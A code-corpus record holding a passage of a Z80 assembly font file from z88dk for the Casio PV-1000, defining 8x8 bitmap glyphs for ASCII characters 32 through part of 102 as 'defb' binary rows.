hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
965bf33563702a714d7f303707570b2587c58bad | 40,828 | asm | Assembly | lib/target/pv1000/classic/font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | lib/target/pv1000/classic/font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | lib/target/pv1000/classic/font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; Char 32 (20)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 33 (21)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 34 (22)
defb 0,0,0,0,0,0,0,0
defb @01101100
defb @01101100
defb @01101100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @01101100
defb @01101100
defb @01101100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 35 (23)
defb 0,0,0,0,0,0,0,0
defb @01101100
defb @01101100
defb @11111110
defb @01101100
defb @11111110
defb @01101100
defb @01101100
defb @00000000
defb @01101100
defb @01101100
defb @11111110
defb @01101100
defb @11111110
defb @01101100
defb @01101100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 36 (24)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00111110
defb @01011000
defb @00111100
defb @00011010
defb @01111100
defb @00011000
defb @00000000
defb @00011000
defb @00111110
defb @01011000
defb @00111100
defb @00011010
defb @01111100
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 37 (25)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @11000110
defb @11001100
defb @00011000
defb @00110000
defb @01100110
defb @11000110
defb @00000000
defb @00000000
defb @11000110
defb @11001100
defb @00011000
defb @00110000
defb @01100110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 38 (26)
defb 0,0,0,0,0,0,0,0
defb @00111000
defb @01101100
defb @00111000
defb @01110110
defb @11011100
defb @11001100
defb @01110110
defb @00000000
defb @00111000
defb @01101100
defb @00111000
defb @01110110
defb @11011100
defb @11001100
defb @01110110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 39 (27)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 40 (28)
defb 0,0,0,0,0,0,0,0
defb @00001100
defb @00011000
defb @00110000
defb @00110000
defb @00110000
defb @00011000
defb @00001100
defb @00000000
defb @00001100
defb @00011000
defb @00110000
defb @00110000
defb @00110000
defb @00011000
defb @00001100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 41 (29)
defb 0,0,0,0,0,0,0,0
defb @00110000
defb @00011000
defb @00001100
defb @00001100
defb @00001100
defb @00011000
defb @00110000
defb @00000000
defb @00110000
defb @00011000
defb @00001100
defb @00001100
defb @00001100
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 42 (2a)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @01100110
defb @00111100
defb @11111111
defb @00111100
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @01100110
defb @00111100
defb @11111111
defb @00111100
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 43 (2b)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00011000
defb @00011000
defb @01111110
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @01111110
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 44 (2c)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 45 (2d)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 46 (2e)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 47 (2f)
defb 0,0,0,0,0,0,0,0
defb @00000110
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @11000000
defb @10000000
defb @00000000
defb @00000110
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @11000000
defb @10000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 48 (30)
defb 0,0,0,0,0,0,0,0
defb @01111100
defb @11000110
defb @11001110
defb @11010110
defb @11100110
defb @11000110
defb @01111100
defb @00000000
defb @01111100
defb @11000110
defb @11001110
defb @11010110
defb @11100110
defb @11000110
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 49 (31)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @01111110
defb @00000000
defb @00011000
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 50 (32)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @00000110
defb @00111100
defb @01100000
defb @01100110
defb @01111110
defb @00000000
defb @00111100
defb @01100110
defb @00000110
defb @00111100
defb @01100000
defb @01100110
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 51 (33)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @00000110
defb @00011100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @00000110
defb @00011100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 52 (34)
defb 0,0,0,0,0,0,0,0
defb @00011100
defb @00111100
defb @01101100
defb @11001100
defb @11111110
defb @00001100
defb @00011110
defb @00000000
defb @00011100
defb @00111100
defb @01101100
defb @11001100
defb @11111110
defb @00001100
defb @00011110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 53 (35)
defb 0,0,0,0,0,0,0,0
defb @01111110
defb @01100010
defb @01100000
defb @01111100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @01111110
defb @01100010
defb @01100000
defb @01111100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 54 (36)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100000
defb @01111100
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @01100000
defb @01111100
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 55 (37)
defb 0,0,0,0,0,0,0,0
defb @01111110
defb @01100110
defb @00000110
defb @00001100
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @01111110
defb @01100110
defb @00000110
defb @00001100
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 56 (38)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100110
defb @00111100
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @01100110
defb @00111100
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 57 (39)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 58 (3a)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 59 (3b)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 60 (3c)
defb 0,0,0,0,0,0,0,0
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00000000
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 61 (3d)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 62 (3e)
defb 0,0,0,0,0,0,0,0
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @00000000
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00011000
defb @00110000
defb @01100000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 63 (3f)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100110
defb @00001100
defb @00011000
defb @00000000
defb @00011000
defb @00000000
defb @00111100
defb @01100110
defb @01100110
defb @00001100
defb @00011000
defb @00000000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 64 (40)
defb 0,0,0,0,0,0,0,0
defb @01111100
defb @11000110
defb @11011110
defb @11011110
defb @11011110
defb @11000000
defb @01111100
defb @00000000
defb @01111100
defb @11000110
defb @11011110
defb @11011110
defb @11011110
defb @11000000
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 65 (41)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00111100
defb @01100110
defb @01100110
defb @01111110
defb @01100110
defb @01100110
defb @00000000
defb @00011000
defb @00111100
defb @01100110
defb @01100110
defb @01111110
defb @01100110
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 66 (42)
defb 0,0,0,0,0,0,0,0
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01100110
defb @01100110
defb @11111100
defb @00000000
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01100110
defb @01100110
defb @11111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 67 (43)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @11000000
defb @11000000
defb @11000000
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @11000000
defb @11000000
defb @11000000
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 68 (44)
defb 0,0,0,0,0,0,0,0
defb @11111000
defb @01101100
defb @01100110
defb @01100110
defb @01100110
defb @01101100
defb @11111000
defb @00000000
defb @11111000
defb @01101100
defb @01100110
defb @01100110
defb @01100110
defb @01101100
defb @11111000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 69 (45)
defb 0,0,0,0,0,0,0,0
defb @11111110
defb @01100010
defb @01101000
defb @01111000
defb @01101000
defb @01100010
defb @11111110
defb @00000000
defb @11111110
defb @01100010
defb @01101000
defb @01111000
defb @01101000
defb @01100010
defb @11111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 70 (46)
defb 0,0,0,0,0,0,0,0
defb @11111110
defb @01100010
defb @01101000
defb @01111000
defb @01101000
defb @01100000
defb @11110000
defb @00000000
defb @11111110
defb @01100010
defb @01101000
defb @01111000
defb @01101000
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 71 (47)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @11000000
defb @11000000
defb @11001110
defb @01100110
defb @00111110
defb @00000000
defb @00111100
defb @01100110
defb @11000000
defb @11000000
defb @11001110
defb @01100110
defb @00111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 72 (48)
defb 0,0,0,0,0,0,0,0
defb @01100110
defb @01100110
defb @01100110
defb @01111110
defb @01100110
defb @01100110
defb @01100110
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @01111110
defb @01100110
defb @01100110
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 73 (49)
defb 0,0,0,0,0,0,0,0
defb @01111110
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @01111110
defb @00000000
defb @01111110
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 74 (4a)
defb 0,0,0,0,0,0,0,0
defb @00011110
defb @00001100
defb @00001100
defb @00001100
defb @11001100
defb @11001100
defb @01111000
defb @00000000
defb @00011110
defb @00001100
defb @00001100
defb @00001100
defb @11001100
defb @11001100
defb @01111000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 75 (4b)
defb 0,0,0,0,0,0,0,0
defb @11100110
defb @01100110
defb @01101100
defb @01111000
defb @01101100
defb @01100110
defb @11100110
defb @00000000
defb @11100110
defb @01100110
defb @01101100
defb @01111000
defb @01101100
defb @01100110
defb @11100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 76 (4c)
defb 0,0,0,0,0,0,0,0
defb @11110000
defb @01100000
defb @01100000
defb @01100000
defb @01100010
defb @01100110
defb @11111110
defb @00000000
defb @11110000
defb @01100000
defb @01100000
defb @01100000
defb @01100010
defb @01100110
defb @11111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 77 (4d)
defb 0,0,0,0,0,0,0,0
defb @11000110
defb @11101110
defb @11111110
defb @11111110
defb @11010110
defb @11000110
defb @11000110
defb @00000000
defb @11000110
defb @11101110
defb @11111110
defb @11111110
defb @11010110
defb @11000110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 78 (4e)
defb 0,0,0,0,0,0,0,0
defb @11000110
defb @11100110
defb @11110110
defb @11011110
defb @11001110
defb @11000110
defb @11000110
defb @00000000
defb @11000110
defb @11100110
defb @11110110
defb @11011110
defb @11001110
defb @11000110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 79 (4f)
defb 0,0,0,0,0,0,0,0
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @11000110
defb @01101100
defb @00111000
defb @00000000
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @11000110
defb @01101100
defb @00111000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 80 (50)
defb 0,0,0,0,0,0,0,0
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01100000
defb @01100000
defb @11110000
defb @00000000
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01100000
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 81 (51)
defb 0,0,0,0,0,0,0,0
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @11011010
defb @11001100
defb @01110110
defb @00000000
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @11011010
defb @11001100
defb @01110110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 82 (52)
defb 0,0,0,0,0,0,0,0
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01101100
defb @01100110
defb @11100110
defb @00000000
defb @11111100
defb @01100110
defb @01100110
defb @01111100
defb @01101100
defb @01100110
defb @11100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 83 (53)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100000
defb @00111100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00111100
defb @01100110
defb @01100000
defb @00111100
defb @00000110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 84 (54)
defb 0,0,0,0,0,0,0,0
defb @01111110
defb @01011010
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @01111110
defb @01011010
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 85 (55)
defb 0,0,0,0,0,0,0,0
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 86 (56)
defb 0,0,0,0,0,0,0,0
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 87 (57)
defb 0,0,0,0,0,0,0,0
defb @11000110
defb @11000110
defb @11000110
defb @11010110
defb @11111110
defb @11101110
defb @11000110
defb @00000000
defb @11000110
defb @11000110
defb @11000110
defb @11010110
defb @11111110
defb @11101110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 88 (58)
defb 0,0,0,0,0,0,0,0
defb @11000110
defb @01101100
defb @00111000
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @00000000
defb @11000110
defb @01101100
defb @00111000
defb @00111000
defb @01101100
defb @11000110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 89 (59)
defb 0,0,0,0,0,0,0,0
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 90 (5a)
defb 0,0,0,0,0,0,0,0
defb @11111110
defb @11000110
defb @10001100
defb @00011000
defb @00110010
defb @01100110
defb @11111110
defb @00000000
defb @11111110
defb @11000110
defb @10001100
defb @00011000
defb @00110010
defb @01100110
defb @11111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 91 (5b)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @00110000
defb @00110000
defb @00110000
defb @00110000
defb @00110000
defb @00111100
defb @00000000
defb @00111100
defb @00110000
defb @00110000
defb @00110000
defb @00110000
defb @00110000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 92 (5c)
defb 0,0,0,0,0,0,0,0
defb @11000000
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00000110
defb @00000010
defb @00000000
defb @11000000
defb @01100000
defb @00110000
defb @00011000
defb @00001100
defb @00000110
defb @00000010
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 93 (5d)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @00001100
defb @00001100
defb @00001100
defb @00001100
defb @00001100
defb @00111100
defb @00000000
defb @00111100
defb @00001100
defb @00001100
defb @00001100
defb @00001100
defb @00001100
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 94 (5e)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00111100
defb @01111110
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00111100
defb @01111110
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 95 (5f)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @11111111
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @11111111
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 96 (60)
defb 0,0,0,0,0,0,0,0
defb @00111100
defb @01100110
defb @01100000
defb @11111000
defb @01100000
defb @01100110
defb @11111110
defb @00000000
defb @00111100
defb @01100110
defb @01100000
defb @11111000
defb @01100000
defb @01100110
defb @11111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 97 (61)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01111000
defb @00001100
defb @01111100
defb @11001100
defb @01110110
defb @00000000
defb @00000000
defb @00000000
defb @01111000
defb @00001100
defb @01111100
defb @11001100
defb @01110110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 98 (62)
defb 0,0,0,0,0,0,0,0
defb @11100000
defb @01100000
defb @01111100
defb @01100110
defb @01100110
defb @01100110
defb @11011100
defb @00000000
defb @11100000
defb @01100000
defb @01111100
defb @01100110
defb @01100110
defb @01100110
defb @11011100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 99 (63)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01100000
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01100000
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 100 (64)
defb 0,0,0,0,0,0,0,0
defb @00011100
defb @00001100
defb @01111100
defb @11001100
defb @11001100
defb @11001100
defb @01110110
defb @00000000
defb @00011100
defb @00001100
defb @01111100
defb @11001100
defb @11001100
defb @11001100
defb @01110110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 101 (65)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01111110
defb @01100000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01111110
defb @01100000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 102 (66)
defb 0,0,0,0,0,0,0,0
defb @00011100
defb @00110110
defb @00110000
defb @01111000
defb @00110000
defb @00110000
defb @01111000
defb @00000000
defb @00011100
defb @00110110
defb @00110000
